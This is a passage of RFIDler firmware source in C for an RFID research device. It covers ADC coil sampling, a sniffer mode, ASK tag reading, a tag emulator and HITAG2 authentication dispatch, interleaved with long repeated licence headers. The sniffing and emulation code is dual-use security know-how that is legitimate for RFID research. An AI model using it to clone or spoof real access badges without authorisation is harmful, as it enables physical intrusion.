********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include "HardwareProfile.h"
#include "rfidler.h"
#include "analogue.h"
#include "clock.h"
void init_adc(BOOL slow)
{
CloseADC10();
SetChanADC10( ADC_CH0_NEG_SAMPLEA_NVREF | ADC_CH0_POS_SAMPLEA_AN11);
if(slow)
OpenADC10( ADC_CONFIG1, ADC_CONFIG2_SLOW, ADC_CONFIG3, ADC_CONFIGPORT, ADC_CONFIGSCAN );
else
OpenADC10( ADC_CONFIG1, ADC_CONFIG2, ADC_CONFIG3, ADC_CONFIGPORT, ADC_CONFIGSCAN );
EnableADC10();
// wait for first read to complete
while ( !mAD1GetIntFlag() )
;
}
// switch off local_read to sniff transaction with external clock
void analogue_sample(unsigned int length, BOOL local_read)
{
unsigned int i, scale;
// we have a static buffer for samples, so if we want to see more, scale sample rate accordingly
scale= (((length - 1) / sizeof(DataBuff))) +1 ;
/**
The way this is implemented,
- If length less than 8096, scale will be == 1
- If length more than 8096 (but less than 2*8096), scale == 2
- So, if length = 9000, every other sample will be stored, to a total
of 4500.
*/
init_adc(FAST);
FakeRead= TRUE;
// start read
if(!local_read)
SnifferMode= TRUE;
get_tag_uid(TmpBuff);
// get one sample per byte - max value from ADC is 1024 so divide by 4 (>>2)
// add in digital sample state (BIT_1) and reader bit period (BIT_0) for display purposes
for(i= 0 ; i < length ; ++i)
{
DataBuff[i / scale]= (((read_adc() + DC_OFFSET) >> 2) & SAMPLEMASK) + (READER_DATA << 1) + ReaderPeriod;
}
FakeRead= FALSE;
SnifferMode= FALSE;
stop_HW_clock();
}
// output analogue buffer as XML
void analogue_xml_out(unsigned int length)
{
BYTE indent= 0, tmp;
char data_rate[10] = {0};
if(length > sizeof(DataBuff))
length= sizeof(DataBuff);
// header
xml_version();
xml_header("RFIDler_Samples", &indent);
xml_item_text("Description", "RFIDler Analogue Coil Samples", &indent);
// tag
xml_header("Tag", &indent);
xml_item_text("Description", "Tag Settings", &indent);
xml_header("Tag_Type", &indent);
xml_item_text("Description", "Tag Type", &indent);
xml_item_text("Data", (BYTE *) TagTypes[RFIDlerConfig.TagType], &indent);
xml_footer("Tag_Type", &indent);
xml_header("Modulation", &indent);
xml_item_text("Description", "Modulation Scheme", &indent);
xml_item_text("Data", (BYTE *) ModulationSchemes[RFIDlerConfig.Modulation], &indent);
xml_footer("Modulation", &indent);
xml_header("Data_Rate", &indent);
xml_item_text("Description", "Data Rate (Frame Clocks)", &indent);
snprintf(data_rate, 10, "%d",RFIDlerConfig.DataRate);
xml_item_text("Data", data_rate, &indent);
xml_footer("Data_Rate", &indent);
xml_footer("Tag", &indent);
// pots
xml_header("Pots", &indent);
xml_item_text("Description", "Potentiometer Settings (Decimal)", &indent);
xml_header("Pot_High", &indent);
xml_item_text("Description", "Potentiometer High Setting", &indent);
get_mcp414_wiper(0, FALSE, &tmp);
xml_item_decimal("Data", tmp, &indent);
xml_footer("Pot_High", &indent);
xml_header("Pot_Low", &indent);
xml_item_text("Description", "Potentiometer Low Setting", &indent);
get_mcp414_wiper(1, FALSE, &tmp);
xml_item_decimal("Data", tmp, &indent);
xml_footer("Pot_Low", &indent);
xml_footer("Pots", &indent);
// samples
xml_header("Samples", &indent);
xml_item_text("Description", "Time Based Sample Arrays", &indent);
// raw coil
xml_header("Coil_Data", &indent);
xml_item_text("Description", "Analogue Circuit Raw Data (HEX)", &indent);
xml_item_array("Data", DataBuff, SAMPLEMASK, length, &indent);
xml_footer("Coil_Data", &indent);
// reader circuit
xml_header("Reader_Output", &indent);
xml_item_text("Description", "Analogue Circuit Digital Reader Output (HIGH/LOW)", &indent);
xml_item_array("Data", DataBuff, BIT_1, length, &indent);
xml_footer("Reader_Output", &indent);
// bit period
xml_header("Bit_Period", &indent);
xml_item_text("Description", "Modulation Scheme Bit Period (TICKS)", &indent);
xml_item_array("Data", DataBuff, BIT_0, length, &indent);
xml_footer("Bit_Period", &indent);
xml_footer("Samples", &indent);
// end
xml_footer("RFIDler_Samples", &indent);
UserMessage("%s", "\r\n");
}
// determine resonant frequency of coil
unsigned long analogue_frequency(void)
{
unsigned int i, high, tmp, highest= 0;
float freq;
unsigned long tmpfreq, best= 0;
stop_HW_clock();
// sample coil voltage at a reange of frequencies
for(freq= (float) 100000 ; freq < (float) 151000 ; freq += (float) 1000)
{
tmpfreq= (unsigned long) ((1L/freq) * 100000000L);
InitHWReaderClock(OC_TOGGLE_PULSE, tmpfreq / 2L, tmpfreq, RWD_STATE_ACTIVE);
init_adc(FAST);
Delay_us(100000);
for(i= 0, high= 0 ; i < 10000 ; ++i)
{
tmp= read_adc();
if(i > 2000 && tmp > high)
high= tmp;
}
UserMessageNum("%d: ", (unsigned long) freq);
UserMessageNum("%d\r\n", high);
if(high > highest)
{
highest= high;
best= (unsigned long) freq;
}
stop_HW_clock();
CloseADC10();
}
return best;
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/ask.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include "HardwareProfile.h"
#include "rfidler.h"
#include "ask.h"
#include "emulate.h"
#include "mcp414x.h"
#include "util.h"
#include "USB/usb.h"
#include "clock.h"
BOOL send_ask_hex(unsigned char *data, unsigned int pulsewidth, unsigned int tpb, unsigned int repeat)
{
unsigned int length;
if(!(length= hextobinarray(TmpBits, data)))
return FALSE;
return send_ask_bin(TmpBits, length, pulsewidth, tpb, repeat);
}
BOOL send_ask_bin(unsigned char *data, unsigned int length, unsigned int pulsewidth, unsigned int tpb, unsigned int repeat)
{
// terminate for transmission
memcpy(TmpBits, data, length);
TmpBits[length]= '*';
write_ASK_HW_clock(pulsewidth, TmpBits, tpb, repeat);
return TRUE;
}
// return raw HEX UID
BOOL ask_raw_get_uid(BYTE *response)
{
unsigned int i;
BOOL blank= TRUE;
BYTE tmp[MAXUID + 1];
memset(tmp, '0', MAXUID);
tmp[MAXUID]= '\0';
if (read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, RFIDlerConfig.DataBits, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, NO_ONESHOT_READ, HEX) != RFIDlerConfig.DataBits)
return FALSE;
for(i= 0 ; i < strlen(tmp) ; ++i)
if(tmp[i] != '0')
blank= FALSE;
if(blank)
return FALSE;
strcpy(response, tmp);
return TRUE;
}
// convert raw UID to hex (nothing to do in this case!)
BOOL ask_raw_hex_to_uid(BYTE *response, BYTE *hex)
{
strcpy(response, hex);
return TRUE;
}
// specify oneshot if data is not repeated (i.e. in response to a command rather than a cycling UID)
unsigned int read_ask_data(unsigned int period_us, unsigned int ticks, BYTE *data, unsigned int bits, unsigned char *sync, unsigned char syncbits, unsigned int timeout_us, BOOL oneshot, BYTE format)
{
unsigned int i= 0, j;
BOOL found= FALSE;
BYTE repeat= 0;
// if we're not doing a 1-shot read, we can grab double the data to allow for sync search
if(oneshot)
repeat= 1;
else
repeat= 2;
if(!read_ASK_HW_clock(period_us, ticks, TmpBits, bits * repeat, timeout_us, oneshot))
return 0;
if(FakeRead)
return 0;
// reset timer
if(timeout_us)
GetTimer_us(RESET);
// wait for semaphore to tell us read has finished
while(mLED_Read == mLED_ON)
if(timeout_us)
if (GetTimer_us(NO_RESET) > timeout_us)
return 0;
if(Manchester_Error)
return 0;
// find start of data
if(syncbits)
{
for(i= j= found= 0 ; i < bits * repeat ; ++i)
{
if(TmpBits[i] == getbit(sync[j / 8], 7 - (j % 8)))
++j;
else
{
i -= j;
j= 0;
}
if(j == syncbits)
{
found= TRUE;
break;
}
}
if(!found)
return 0;
// point at start of sync
i -= syncbits - 1;
}
// copy to output buffer
switch(format)
{
case HEX:
return binarraytohex(data, TmpBits + i, bits);
case BINARY:
default:
memcpy(data, TmpBits + i, bits);
data[bits]= '\0';
return bits;
}
}
// h/w clock ASK emulator - initialise data pointers for ISR and start timer 2
// args: clock pulsewidth (NOT period!), data as array of 0/1, repeat
void write_ASK_HW_clock(unsigned int pulse, BYTE *data, unsigned int tpb, unsigned int repeat)
{
// convert to ticks
pulse= CONVERT_TO_TICKS(pulse);
// we only need to tick once per bit
pulse *= (unsigned long) tpb;
// point globals at data for ISR
EMU_ThisBit= *data;
EMU_Data= data + 1;
EMU_Reset_Data= data;
EMU_DataBitRate= 1;
EMU_SubCarrier_T0= 1;
EMU_Repeat= repeat;
// if we're manchester or bi-phase encoding, we want to clock twice as fast so we can toggle on half-bit
if(RFIDlerConfig.Manchester || RFIDlerConfig.BiPhase)
{
pulse /= 2;
EMU_SubCarrier_T0 *= 2;
EMU_DataBitRate *= 2;
}
// make sure no clock is running
stop_HW_clock();
// set mode
EmulationMode= MOD_MODE_ASK_OOK;
// make sure nobody's using our timer
CloseTimer3();
// tri-state on, clock low
READER_CLOCK_ENABLE_ON();
CLOCK_COIL= LOW;
// emulator mode
COIL_MODE_EMULATOR();
// this is also a semaphore so the rest of the code knows we're running
mLED_Emulate_On();
// start timer - ISR will send data
OpenTimer3( T3_ON | T3_PS_1_1 | T3_SOURCE_INT, pulse - 1L);
mT3SetIntPriority(6);
mT3ClearIntFlag();
mT3IntEnable(TRUE);
}
// h/w clock reader - initialise data pointers for ISR and start timers
// timer2 creates clock output for external reader
// timer4 reads data bit values
// period_us == clock for reader
// ticks == clock periods per bit
// bits == number of bits to read
// oneshot must be set if we are reading data in response to RWD, so no repeating stream
BOOL read_ASK_HW_clock(unsigned int period, unsigned int ticks, BYTE *data, unsigned int bits, unsigned int timeout_us, BOOL oneshot)
{
unsigned long dwell, time;
BYTE count;
Manchester_Error= FALSE;
// if we're manchester or bi-phase encoding, we want to clock twice as fast so we can read both halves of the bit
if(RFIDlerConfig.Manchester || RFIDlerConfig.BiPhase)
{
ticks /= 2;
HW_Bits= (unsigned long) bits * 2;
}
else
HW_Bits= (unsigned long) bits;
// point globals at data for ISR
EMU_Data= data;
memset(EMU_Data, '\0', bits);
// stop USB interfering
USBMaskInterrupts();
// start clock if not already running
if(!mGetLED_Clock() == mLED_ON)
{
InitHWReaderClock(OC_TOGGLE_PULSE, period / 2L, period, RWD_STATE_ACTIVE);
// give reader time to wake up and settle
Delay_us((RFIDlerConfig.FrameClock * RFIDlerConfig.RWD_Wake_Period) / 100);
}
// align ourselves to reader's bit period by waiting until the end of a pulse
GetTimer_us(RESET);
count= READER_DATA;
while(count == READER_DATA)
if(GetTimer_us(NO_RESET) > timeout_us)
return FALSE;
// convert to ticks
period= CONVERT_TO_TICKS(period);
// biphase cannot auto-align when it detects a half-bit error, so we must align
// on a full bit before we start
if(RFIDlerConfig.BiPhase && !oneshot)
{
dwell= period * ticks * 2;
count= 0;
while((time= get_reader_gap(timeout_us)))
{
if(!time || count == 255)
return;
else
if(approx(time, dwell, 10))
break;
++count;
}
}
// wait for half the bit period so we sample mid-tick, not just as bit is toggling
dwell= ((period * ticks) / 2L);
GetTimer_ticks(RESET);
//DEBUG_PIN_2= HIGH;
while(GetTimer_ticks(NO_RESET) < dwell)
;
// reset timer for external timeouts
GetTimer_us(RESET);
//DEBUG_PIN_2= LOW;
// re-start reader ISR to read this bit if required
InitHWReaderISR(period * ticks - 1L, TRUE);
return TRUE;
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/auth.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include "HardwareProfile.h"
#include "rfidler.h"
#include "auth.h"
BOOL tag_auth(unsigned int block, BYTE *response, BYTE *key)
{
switch(RFIDlerConfig.TagType)
{
case TAG_TYPE_HITAG2:
return hitag2_crypto_auth(response, key);
default:
break;
}
return FALSE;
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/auto.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
